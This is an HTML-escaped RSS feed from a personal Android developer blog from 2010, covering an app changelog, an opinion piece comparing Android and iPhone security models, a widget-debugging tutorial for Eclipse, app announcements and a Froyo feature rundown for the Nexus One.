&lt;p&gt;Resource optimizations for lesser space and faster loading&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Misc. under-the-hood UI tweaks for better/consistent layouts across different screen sizes/densities/android versions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;11-July-2010 -&amp;gt; 1.3.0&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Added workaround 3 (Ping the router gateway regularly)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lot of optimizations for battery savings.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Apply workarounds without needing to select the policy again&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;06-July-2010 -&amp;gt; 1.2.1&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Bug Fix for a Force Close&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;More Optimizations&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Help and Info Menus&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Option to disable/enable debug logging&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;04-July-2010 -&amp;gt; 1.2.0&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Added workarounds to take care of sleep policies not working on some phones&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optimized the code a bit for faster operations&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added Configuration screens to widgets (pops up whenever widget is added)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;28-June-2010 -&amp;gt; 1.1.0&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Added Widget&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;**27-June-2010 -&amp;gt; 1.0.0 **&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Initial Version&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Screenshots&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/wi-fi-keep-alive-1.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/wi-fi-keep-alive-thumb-1.png" alt=""&gt;&lt;/a&gt;
&lt;a href="https://shantanugoel.com/img/uploads/wi-fi-keep-alive-2.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/wi-fi-keep-alive-thumb-2.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Search for &amp;ldquo;Wi-Fi Keep Alive&amp;rdquo; in Android marketplace or simply scan the below QR code:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://chart.apis.google.com/chart?cht=qr&amp;amp;chs=200x200&amp;amp;chl=market://details?id=com.shantz.wifikeepalive" alt=""&gt;&lt;/p&gt;</content></item><item><title>Android vs iPhone: Security Models</title><link>https://shantanugoel.com/2010/06/25/android-vs-iphone-security-models/</link><pubDate>Fri, 25 Jun 2010 22:02:49 +0000</pubDate><guid>https://shantanugoel.com/2010/06/25/android-vs-iphone-security-models/</guid><description>&lt;p&gt;Android and iPhone OS (iOS) have been at loggerheads for quite some time now. This is a take on which has a better security model to protect its users. I thought of writing it up because there have been a lot of discussions around me lately about which platform is more secure and I keep repeating the same points over and over at every one of them, so thought that in future I&amp;rsquo;ll just point them to this page :P&lt;/p&gt;</description><content>&lt;p&gt;Android and iPhone OS (iOS) have been at loggerheads for quite some time now. This is a take on which has a better security model to protect its users. I thought of writing it up because there have been a lot of discussions around me lately about which platform is more secure and I keep repeating the same points over and over at every one of them, so thought that in future I&amp;rsquo;ll just point them to this page :P&lt;/p&gt;
&lt;h3 id="disclaimer"&gt;Disclaimer:&lt;/h3&gt;
&lt;p&gt;A. I don&amp;rsquo;t guarantee this post to be absolutely correct as I&amp;rsquo;m no security researcher or expert but I do have some interest in this field and I&amp;rsquo;ve been a developer for some time now on different architectures and OSs especially at OS/driver level and that too in the mobile devices field, so I &amp;ldquo;might&amp;rdquo; actually be right about a few things here and there.&lt;/p&gt;
&lt;p&gt;B. I&amp;rsquo;m an android user myself but not of the fanboy variety. I&amp;rsquo;ll be happy to switch camps any day I get something that appeals to me better. I have love and hate points for almost all platforms available but I&amp;rsquo;m using android because &amp;ldquo;for me&amp;rdquo; it&amp;rsquo;s love points slightly outnumber the hate points.&lt;/p&gt;
&lt;p&gt;OK, on with the points then. Here is the table that I created for this showing points I considered and which side wins each. Don&amp;rsquo;t start flaming me though just by seeing the table :P I will be discussing the points as well below it.&lt;/p&gt;
&lt;h3 id="security-points"&gt;Security Points:&lt;/h3&gt;
&lt;h4 id="distribution-medium-security"&gt;Distribution Medium Security&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Android&lt;/th&gt;
&lt;th&gt;iPhone&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Approval Process&lt;/td&gt;
&lt;td&gt;NA&lt;/td&gt;
&lt;td&gt;NA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Phishing&lt;/td&gt;
&lt;td&gt;Lose&lt;/td&gt;
&lt;td&gt;Win&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="local-security"&gt;Local Security&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Android&lt;/th&gt;
&lt;th&gt;iPhone&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Permissions&lt;/td&gt;
&lt;td&gt;Win&lt;/td&gt;
&lt;td&gt;Lose&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Environment/Sandbox&lt;/td&gt;
&lt;td&gt;Tie&lt;/td&gt;
&lt;td&gt;Tie&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="open-vs-closed"&gt;Open vs Closed&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Android&lt;/th&gt;
&lt;th&gt;iPhone&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Open Source&lt;/td&gt;
&lt;td&gt;Slight Win&lt;/td&gt;
&lt;td&gt;Lose&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="app-development-model"&gt;App Development Model&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Android&lt;/th&gt;
&lt;th&gt;iPhone&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Development Model&lt;/td&gt;
&lt;td&gt;Slight Win&lt;/td&gt;
&lt;td&gt;Lose&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="damage-control"&gt;Damage Control&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Android&lt;/th&gt;
&lt;th&gt;iPhone&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Kill Switch&lt;/td&gt;
&lt;td&gt;Tie&lt;/td&gt;
&lt;td&gt;Tie&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="1-distribution-medium-security"&gt;1. Distribution Medium Security:&lt;/h3&gt;
&lt;p&gt;Apple vets every application that is put on the app store while Google&amp;rsquo;s Market Place is unrestricted. How does this affect you security wise?&lt;/p&gt;
&lt;h4 id="a-approval-process"&gt;a. Approval Process&lt;/h4&gt;
&lt;p&gt;The biggest myth is that the vetting process is what will save you from malware on app store. IT WON&amp;rsquo;T. The Apple app approval process isn&amp;rsquo;t defined anywhere but in general it just states that it checks for apps to do what they say they will do. But they don&amp;rsquo;t check the source code of the apps and static analysis of binaries can only take you so far (Heck, they have even been inept at catching a whole lot of apps that were using their disallowed private apis which can be found easily using simple tools) . So, anyone actually wanting to write a malware can do it trivially by making the malicious code to run after the app has been approved. The trigger could be time based or could even be done over the web remotely. The app could even have encrypted payloads or download new pieces of code over the web and run them. So, we can safely say that approval process is something that can&amp;rsquo;t make things secure for you that way.&lt;/p&gt;
&lt;h4 id="b-phishing"&gt;b. Phishing&lt;/h4&gt;
&lt;p&gt;This is where App store can protect you if someone put an app claiming to be from someone that it isn&amp;rsquo;t. e.g. Someone could make an app that claims to be from &amp;ldquo;Bank of America&amp;rdquo;. In apple&amp;rsquo;s case, I&amp;rsquo;m 99.99% sure that the app won&amp;rsquo;t pass the screening but in Android&amp;rsquo;s case, there won&amp;rsquo;t be any hassles for it to reach the marketplace. It could be pulled soon after as google learns about it but still even one person&amp;rsquo;s damage here is much more than what would have happened on iPhone.&lt;/p&gt;
&lt;h3 id="2-local-security"&gt;2. Local Security:&lt;/h3&gt;
&lt;p&gt;What about the security in the OS itself once an app is on your phone? This is an important question because 1.) As I noted above, Apple&amp;rsquo;s app screening process isn&amp;rsquo;t robust enough to catch malware 2.) People can bypass the official distribution medium easily. Android allows to install apps from other sources on most phones by just enabling an option and a huge number of people jailbreak their iPhones and get/use this capability.&lt;/p&gt;
&lt;h4 id="a-permissions"&gt;a. Permissions&lt;/h4&gt;
&lt;p&gt;On Android, an app has to explicitly declare what capabilities/data of the phone it wants to access/use and the user has to explicitly give it those permissions before it is allowed to install, irrespective of from where/how this app is being installed. So, it works even if you are installing the app from your SD card and even if you have rooted your phone. On iPhone, there is no such mechanism of restricting apps. All apps are equal and can access a lot of resources unhindered without the user knowing. So, while installing a single player only game on android you can immediately be suspicious if the app is asking for internet connection or access to your contacts data but on iPhone you will not come to know about this.&lt;/p&gt;
&lt;h4 id="b-environment"&gt;b. Environment&lt;/h4&gt;
&lt;p&gt;On both platforms, the apps run in their own sandboxes with unique uuids&lt;/p&gt;
&lt;h3 id="3-open-vs-closed"&gt;3. Open vs Closed:&lt;/h3&gt;
&lt;p&gt;Most of the Android code is open source while for iOS, only darwin kernel and some other things like webkit etc are open source. Now, this in itself doesn&amp;rsquo;t guarantee to make Android secure but its code does get a lot of scrutiny from open source community as well as lot of other big name companies with commercial interests in Android which allows it to find and fix more bugs and loopholes than iPhone can.&lt;/p&gt;
&lt;h3 id="4-app-development-model"&gt;4. App Development Model:&lt;/h3&gt;
&lt;p&gt;Most apps for Android are written in java while those in iPhone are written in C/Objective-C. While I&amp;rsquo;m myself a big time C lover (Majority of my coding is in C/CPP) but it is indeed a very unforgiving language where you need to be very careful with what you write and has much greater chances of exploits, .e.g, Buffer overflows, as compared to java (Interestingly, all the jailbreaks for iPhone OS have been done using such exploits and have been made available day 0/day 1 mostly.)&lt;/p&gt;
&lt;h3 id="5-damage-control"&gt;5. Damage Control:&lt;/h3&gt;
&lt;p&gt;What if an app actually got through everything on any of these platforms and started spreading? Both of these platforms have kill switches in the hands of Google/Apple which they can use to remove such malicious apps from the users&amp;rsquo; phones remotely.&lt;/p&gt;
&lt;h3 id="summary"&gt;Summary:&lt;/h3&gt;
&lt;p&gt;Well, there is no clear winner. Apple is quite good when it comes to protecting you from phishing (though that advantage goes away if you jailbreak and use alternative means to install apps) and Android has a real sound local security system (though it also has the flaw that users might not always understand why an app is requesting a certain critical permission and install it anyways). So, take your pick and let me know what you picked :) and please do tell me if I&amp;rsquo;m wrong in any of my points or missed out on something that needs to be compared.&lt;/p&gt;</content></item><item><title>How To Debug Android Widgets</title><link>https://shantanugoel.com/2010/06/13/how-to-debug-android-widgets/</link><pubDate>Sun, 13 Jun 2010 18:42:42 +0000</pubDate><guid>https://shantanugoel.com/2010/06/13/how-to-debug-android-widgets/</guid><description>&lt;p&gt;For most new android app developers (like me), it is a bit puzzling how to debug the android widgets or how to put a breakpoint in an android widget code. For normal applications, it is quite simple as when you press &amp;ldquo;debug&amp;rdquo; on the eclipse toolbar, it launches the emulator (or connects to existing emulator/device), syncs your application and launches its main activity and puts the control in your hands if you have put a breakpoint. For widgets, it seems a bit tricky because there is no activity to be launched, so eclipse just syncs your widget&amp;rsquo;s apk and installs it and that&amp;rsquo;s it. So, is it possible or not to debug widget code? and if yes, then is it very difficult? Fortunately, it is possible and very easy to do but just slightly less intuitive and I couldn&amp;rsquo;t find any information about it at Android developers website and learnt it by just fumbling around for a few minutes so thought of posting here for the benefit of other newbies like me.&lt;/p&gt;</description><content>&lt;p&gt;For most new android app developers (like me), it is a bit puzzling how to debug the android widgets or how to put a breakpoint in an android widget code. For normal applications, it is quite simple as when you press &amp;ldquo;debug&amp;rdquo; on the eclipse toolbar, it launches the emulator (or connects to existing emulator/device), syncs your application and launches its main activity and puts the control in your hands if you have put a breakpoint. For widgets, it seems a bit tricky because there is no activity to be launched, so eclipse just syncs your widget&amp;rsquo;s apk and installs it and that&amp;rsquo;s it. So, is it possible or not to debug widget code? and if yes, then is it very difficult? Fortunately, it is possible and very easy to do but just slightly less intuitive and I couldn&amp;rsquo;t find any information about it at Android developers website and learnt it by just fumbling around for a few minutes so thought of posting here for the benefit of other newbies like me.&lt;/p&gt;
&lt;p&gt;So, all you need to debug your widget code is almost same as what you do for normal applications. Just follow the below steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Press &amp;ldquo;debug&amp;rdquo; on the eclipse menu (or &amp;ldquo;run&amp;rdquo; it doesn&amp;rsquo;t seem to matter)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once the widget apk is sync&amp;rsquo;ed and installed onto your emulator/device, switch your eclipse workspace to DDMS mode. You can either do this by pressing the &amp;ldquo;DDMS&amp;rdquo; labeled button on your top right corner or if you can&amp;rsquo;t find it, then do it by going to &amp;ldquo;Window-&amp;gt;Open Perspective-&amp;gt;DDMS&amp;rdquo;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Select the process name of your widget from the list of processes shown. By default, this list appears at top left of DDMS window. (See screenshot below). If you can&amp;rsquo;t see your widget&amp;rsquo;s process name in the list, it is possible that the widget is not added to the home screen yet. So, do so.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Press the green debug button above the process list (See screenshot below)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And that&amp;rsquo;s it. Now, if you had put a breakpoint in the code, do something that executes that piece of the code.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/debug-android-widget-eclipse.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/debug-android-widget-eclipse-thumb.png" alt="Screenshot to show how to debug android widgets in eclipse"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let me know if this helped you out or if you see anything that I missed out. Happy coding :)&lt;/p&gt;</content></item><item><title>Android App: Quickly Open Accounts &amp; Sync Settings</title><link>https://shantanugoel.com/2010/06/12/android-app-quickly-open-accounts-sync-settings/</link><pubDate>Sat, 12 Jun 2010 21:19:35 +0000</pubDate><guid>https://shantanugoel.com/2010/06/12/android-app-quickly-open-accounts-sync-settings/</guid><description>&lt;p&gt;Just a small post to let you know that I just published a small app in the android market, which scratches an itch of mine and I thought probably it will be help others too. It basically provides a quick, one-click access to the accounts and sync settings of Android. The use case for me was that I need to enable/disable syncing for my work email while I&amp;rsquo;m at work every day as I am already in front of my office PC so don&amp;rsquo;t need to waste battery and be annoyed by mail notifications on phone but still need to keep google calendar syncing. To do this I had to spend too many clicks and long-presses to get to the accounts settings, so made this app. Let me know if you like it.&lt;/p&gt;</description><content>&lt;p&gt;Just a small post to let you know that I just published a small app in the android market, which scratches an itch of mine and I thought probably it will be help others too. It basically provides a quick, one-click access to the accounts and sync settings of Android. The use case for me was that I need to enable/disable syncing for my work email while I&amp;rsquo;m at work every day as I am already in front of my office PC so don&amp;rsquo;t need to waste battery and be annoyed by mail notifications on phone but still need to keep google calendar syncing. To do this I had to spend too many clicks and long-presses to get to the accounts settings, so made this app. Let me know if you like it.&lt;/p&gt;</content></item><item><title>Quick Sync Settings</title><link>https://shantanugoel.com/2010/06/12/quick-sync-settings/</link><pubDate>Sat, 12 Jun 2010 21:14:54 +0000</pubDate><guid>https://shantanugoel.com/2010/06/12/quick-sync-settings/</guid><description>&lt;p&gt;This is a very small android app to open the accounts and sync settings in one click. We all need to disable the sync settings of a particular account sometimes  but keep all other items still syncing. For example, for most of the day I&amp;rsquo;m at work, in front of my office PC so I don&amp;rsquo;t need to keep my work email syncing which causes unnecessary drain on my battery but I do need to keep other things, like my google calendar, syncing still. Now, the power control widget that comes with android is a bit too coarse for this use as it presents a situation of all or none. So, if you use the power control widget, it either disables syncing entirely for all your apps or enables it for all of them. So, you have to manually go into accounts and sync settings and turn off syncing for the account you want but it takes too many clicks (You first long hold on menu, then press settings, then scroll to account settings, then click on it to open it). So, instead of that, you can just use this app here. Install and add a shortcut to the home screen. Whenever you need, just click on it and it will open the accounts and sync settings screen for you immediately without any fuss.&lt;/p&gt;</description><content>&lt;p&gt;This is a very small android app to open the accounts and sync settings in one click. We all need to disable the sync settings of a particular account sometimes  but keep all other items still syncing. For example, for most of the day I&amp;rsquo;m at work, in front of my office PC so I don&amp;rsquo;t need to keep my work email syncing which causes unnecessary drain on my battery but I do need to keep other things, like my google calendar, syncing still. Now, the power control widget that comes with android is a bit too coarse for this use as it presents a situation of all or none. So, if you use the power control widget, it either disables syncing entirely for all your apps or enables it for all of them. So, you have to manually go into accounts and sync settings and turn off syncing for the account you want but it takes too many clicks (You first long hold on menu, then press settings, then scroll to account settings, then click on it to open it). So, instead of that, you can just use this app here. Install and add a shortcut to the home screen. Whenever you need, just click on it and it will open the accounts and sync settings screen for you immediately without any fuss.&lt;/p&gt;
&lt;p&gt;The app is very light and consumes no resources and exits immediately leaving no background processes behind. Please try it out and let me know if you like it.&lt;/p&gt;
&lt;p&gt;To install, either search for &amp;ldquo;Quick Sync Settings&amp;rdquo; in the android market or you can just scan the below given QR code from the barcode scanner app on your phone.&lt;/p&gt;
&lt;p&gt;&lt;img src="http://chart.apis.google.com/chart?cht=qr&amp;amp;chs=200x200&amp;amp;chl=market://search?q=pname:com.shantz.quicksyncsettings" alt=""&gt;&lt;/p&gt;
&lt;p&gt;PS: I&amp;rsquo;m also developing another app which will allow you to directly control the sync on/off for any account (with fine control also available for each item within each account like mail/calendar/contacts separately) through a power control like widget. It is working for me right now but I&amp;rsquo;m fixing it around the edges so that I can publish a relatively force-close-free app for you :)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE: Quick Sync Settings works only on Android 2.1 and above and you would be unable to find it in the android marketplace if your android version is less than that (Android marketplace automatically filters out apps which are not compatible with your version)&lt;/strong&gt;&lt;/p&gt;</content></item><item><title>Apple is Magical: Daniel Eran Gilder is the Living Proof</title><link>https://shantanugoel.com/2010/06/10/apple-magical-dan-eran-gilder/</link><pubDate>Thu, 10 Jun 2010 04:49:53 +0000</pubDate><guid>https://shantanugoel.com/2010/06/10/apple-magical-dan-eran-gilder/</guid><description>&lt;p&gt;Update: Removed the post as the person in consideration has contacted me with the explanation of what went down. I’m not sure if it is completely true or this is just as a response to this post but anyways, as I had contended in the original post that it was a stupid little thing that didn’t really warrant any attention or a post but I still did it just because I’m weird, so in the light of the developments, I think it’s best to remove the rants and focus on actual discussion. I’ll be discussing the points put out by Dan over his blog or might make a post about them here..&lt;/p&gt;</description><content>&lt;p&gt;Update: Removed the post as the person in consideration has contacted me with the explanation of what went down. I’m not sure if it is completely true or this is just as a response to this post but anyways, as I had contended in the original post that it was a stupid little thing that didn’t really warrant any attention or a post but I still did it just because I’m weird, so in the light of the developments, I think it’s best to remove the rants and focus on actual discussion. I’ll be discussing the points put out by Dan over his blog or might make a post about them here..&lt;/p&gt;</content></item><item><title>Android Froyo And Nexus One: Everything We Know</title><link>https://shantanugoel.com/2010/05/23/android-froyo-nexus-one/</link><pubDate>Sun, 23 May 2010 17:44:18 +0000</pubDate><guid>https://shantanugoel.com/2010/05/23/android-froyo-nexus-one/</guid><description>&lt;p&gt;This is an effort from my side to consolidate everything about Android Froyo with respect to Nexus One. It is mainly concentrated towards listing the features/fixes that we have seen in Froyo that weren&amp;rsquo;t announced in Google I/O, things that work with nexus one, things that don&amp;rsquo;t and possible fixes/workarounds known, what the announced features actually feel like in real use etc.** Will keep updating this post as I get more info, get more fixes, etc. Please do let me know if I&amp;rsquo;ve missed something or there is some new development that should be updated here.**&lt;/p&gt;</description><content>&lt;p&gt;This is an effort from my side to consolidate everything about Android Froyo with respect to Nexus One. It is mainly concentrated towards listing the features/fixes that we have seen in Froyo that weren&amp;rsquo;t announced in Google I/O, things that work with nexus one, things that don&amp;rsquo;t and possible fixes/workarounds known, what the announced features actually feel like in real use etc.** Will keep updating this post as I get more info, get more fixes, etc. Please do let me know if I&amp;rsquo;ve missed something or there is some new development that should be updated here.**&lt;/p&gt;
&lt;p&gt;**UPDATED: **&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;27-MAY-2010 (Added things missing since Eclair and few other notes)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;25-MAY-2010 (Added market missing apps fix, 802.11n and other features)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;24-MAY-2010 (Added more un-announced features/fixes/changes)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To start with, just a quick recap of things that were announced and their look/feel/working in real use (First is the announced feature and then after &amp;ldquo;:&amp;rdquo; is the effect that we see)&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature/Fix&lt;/th&gt;
&lt;th&gt;Real Effects seen by us&lt;/th&gt;
&lt;th&gt;Remarks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;JIT for Dalvik JVM&lt;/td&gt;
&lt;td&gt;Apps are quite fast, visible difference animation effects, scrolling, games etc&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Better Exchange support with calendar sync/GAL /remote wipe/account-auto-discovery/administation&lt;/td&gt;
&lt;td&gt;Works as advertised&lt;/td&gt;
&lt;td&gt;Exchange support still not upto the mark. e.g. No support for selective folder sync, subfolders are not synced automatically, no phone number/location for GAL contacts, no &amp;ldquo;move to folder&amp;rdquo;, no search, etc.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Backup Application data/settings/history in cloud&lt;/td&gt;
&lt;td&gt;Yet to experience&lt;/td&gt;
&lt;td&gt;I&amp;rsquo;ve enabled the settings for this but haven&amp;rsquo;t switched to another ROM yet or figured out how to test it in some other way.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloud Messaging to activate intents&lt;/td&gt;
&lt;td&gt;Works as advertised&lt;/td&gt;
&lt;td&gt;very cool feature. Try out this chrome extension to send links from chrome to your phone: &lt;a href="http://code.google.com/p/chrometophone/"&gt;Chrome2Phone&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;USB Tethering and Portable Wireless Hotspot&lt;/td&gt;
&lt;td&gt;Works as advertised&lt;/td&gt;
&lt;td&gt;Real skin-saver. Works great and easily.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Javascript V8 Engine for Android Browser&lt;/td&gt;
&lt;td&gt;Much faster javascript execution&lt;/td&gt;
&lt;td&gt;Much better browsing experience noted.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTML5 support/Device Access (Camera/Accelerometer etc) through Browser&lt;/td&gt;
&lt;td&gt;Work In Progress. See Remarks&lt;/td&gt;
&lt;td&gt;Contrary to what many people tell you, this is still not there. HTML5 support is an ongoing thing and device access through browser would be present in Gingerbread (Next Android iteration, supposedly 3.0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Better Voice Input Integration&lt;/td&gt;
&lt;td&gt;&amp;ldquo;Seems&amp;rdquo; better.&lt;/td&gt;
&lt;td&gt;Now, I don&amp;rsquo;t have any tangible means to measure this but it seems to be working relatively better and it even seems to understand my non-US accent much better.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flash 10.1 beta support&lt;/td&gt;
&lt;td&gt;Works as advertised&lt;/td&gt;
&lt;td&gt;Almost every flash functionality in all sites I visited work ok. Please note that you need to install Flash from market as it doesn&amp;rsquo;t come &amp;ldquo;built-in&amp;rdquo;. Just search for &amp;ldquo;Adobe&amp;rdquo; in market.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Install apps on SD card&lt;/td&gt;
&lt;td&gt;Not tested.&lt;/td&gt;
&lt;td&gt;This feature requires support from apps to integrate this and currently no apps support it. There is a command that you can run from adb shell &amp;ldquo;adb shell pm setInstallLocation 2&amp;rdquo; but it will cause &amp;ldquo;all&amp;rdquo; your apps to install to the card plus users report problems on missing apps as SD card is not available immediately at boot up.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Better global search integration for apps&lt;/td&gt;
&lt;td&gt;Works as advertised&lt;/td&gt;
&lt;td&gt;Now, apps can allow search to search within their data. Right now the official twitter app supports this and you can search your timeline from the main android search itself.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Update all apps in one click/automatic updates&lt;/td&gt;
&lt;td&gt;Works as advertised&lt;/td&gt;
&lt;td&gt;None.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stream music from PC to phone&lt;/td&gt;
&lt;td&gt;Yet to test.&lt;/td&gt;
&lt;td&gt;None. As pointed out by Hugo, it is not clear yet that this is supposed to be part of Froyo or GingerBread.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Improved crash reporting to developers&lt;/td&gt;
&lt;td&gt;Works as advertised&lt;/td&gt;
&lt;td&gt;Really useful to the developers as it sends complete report about the environment and stack trace etc.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Purchase music/apps on android market and push directly to device Over The Air&lt;/td&gt;
&lt;td&gt;Yet to test&lt;/td&gt;
&lt;td&gt;New market website that allows this hasn&amp;rsquo;t appeared yet. As pointed out by Hugo, it is not clear yet that this is supposed to be part of Froyo or GingerBread.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Now, we move on to things that weren&amp;rsquo;t announced but we found them in the updates. This may be because these pieces were too small or specific to nexus one to have warranted a place in the Google I/O keynote.&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature/Fix&lt;/th&gt;
&lt;th&gt;Remarks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Erratic/Crazy Touchscreen behaviour fixes&lt;/td&gt;
&lt;td&gt;This is about the erratic behaviour of the touchscreen that sometimes all the touches were being registered at the wrong places and one had to tap twice on the power button to fix it. So far, it seems that this has been fixed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multi-touch fixes&lt;/td&gt;
&lt;td&gt;This seems to be a hardware problem and there are no &amp;ldquo;fixes&amp;rdquo; to it as such but there seems to be a new touchscreen API in the 2.2 Froyo SDK that google is encouraging developers to use to alleviate this issue somewhat by doing some filtering/scaling within the Android framework.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SMS App fix&lt;/td&gt;
&lt;td&gt;The messaging app had a nagging issue that many times it showed the first few words of a text message as the sender instead of the actual number/sender. This seems to be fixed now.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Capacitive Touch Button fix&lt;/td&gt;
&lt;td&gt;Nexus one was quite famous for its mal-functioning cap-touch buttons that didn&amp;rsquo;t seem to register the touches of a user. We had to press slightly above them most times to register a touch. This seems to be fixed now and feels much better.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multi-Color Trackball&lt;/td&gt;
&lt;td&gt;The nexus one trackball can now display multiple colors instead of just white. e.g. a nee facebook update received makes it glow blue :)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Better Camera/Gallery Interface&lt;/td&gt;
